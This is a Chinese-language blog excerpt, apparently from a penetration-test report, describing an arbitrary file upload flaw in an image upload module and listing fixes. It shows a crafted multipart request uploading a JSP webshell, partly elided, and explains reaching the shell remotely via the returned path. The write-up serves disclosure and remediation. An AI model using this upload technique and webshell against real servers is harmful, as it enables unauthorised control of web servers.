• 任意文件上传漏洞


    上传漏洞允许攻击者通过上传木马文件,直接获取web服务器的权限。图片上传模块存在任意文件上传漏洞,通过修改图片上传传输页面的数据包可以上传木马文件,并最终获取到服务器的权限,如下图所示。

     

     木马程序如下:

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="file"; filename="webshell.jsp"

    Content-Type: text/html

    <%@page pageEncoding="utf-8"%>

    <%@page import="java.io.*"%>

    <%@page import="java.util.*"%>

    <%@page import="java.util.regex.*"%>

    。。。。。。。。。此处代码省略。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

        bout.close();

        out.flush();

        ((Invoker) ins.get("bottom"))

        .invoke(request, response, session);

        ((Invoker) ins.get("after")).invoke(request, response, session);

        }

    %>

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="uploadPath"

    people

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="uploadFloderPath"

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="isRename"

    no

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="maxSize"

    2

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="allowedFile"

    ------WebKitFormBoundaryS5DF515w3dmuH4em--

    最后,找到文件上传的路径,此次文件上传成功后,响应数据包会返回文件上传的物理路径如下图,最后再远程访问该木马文件。

     

     

    任意文件上传漏洞整改建议:

    1、建议对上传文件做有效文件类型判断,网站前台后台均需进行判断,采用白名单控制的方法,开放只允许上传的文件类型,其中文件类型判断应对上传文件的后缀、文件头、图片类型的预览图等做检测来判断文件类型,同时注意重命名上传文件的文件名避免攻击者利用web服务器的缺陷构造畸形文件名实现攻击目的。

    2、服务器端读取文件的部分内容作判断,可防止攻击者伪装文件类型上传。

    3、权限方面,统一上传模块写入文件的位置并取消上传目录的程序运行权限。

    4、使用第三方web防火墙来加固整个网站系统。

  • 相关阅读:
    【数据库】Redis
    OSPF高级配置
    Springboot启动流程分析(二):准备IOC容器相关信息
    网络渗透课2
    STL好难(3):vector的使用
    电脑桌面图标不见了?三招教你轻松找回
    docker部署最新版nacos(2.2.3)设置登录密码
    一个简单的HTML 个人网页
    设备树与中断,操作系统如何使用中断
    C#算法、排序以及数据结构
  • 原文地址:https://blog.csdn.net/gaomei2009/article/details/126502219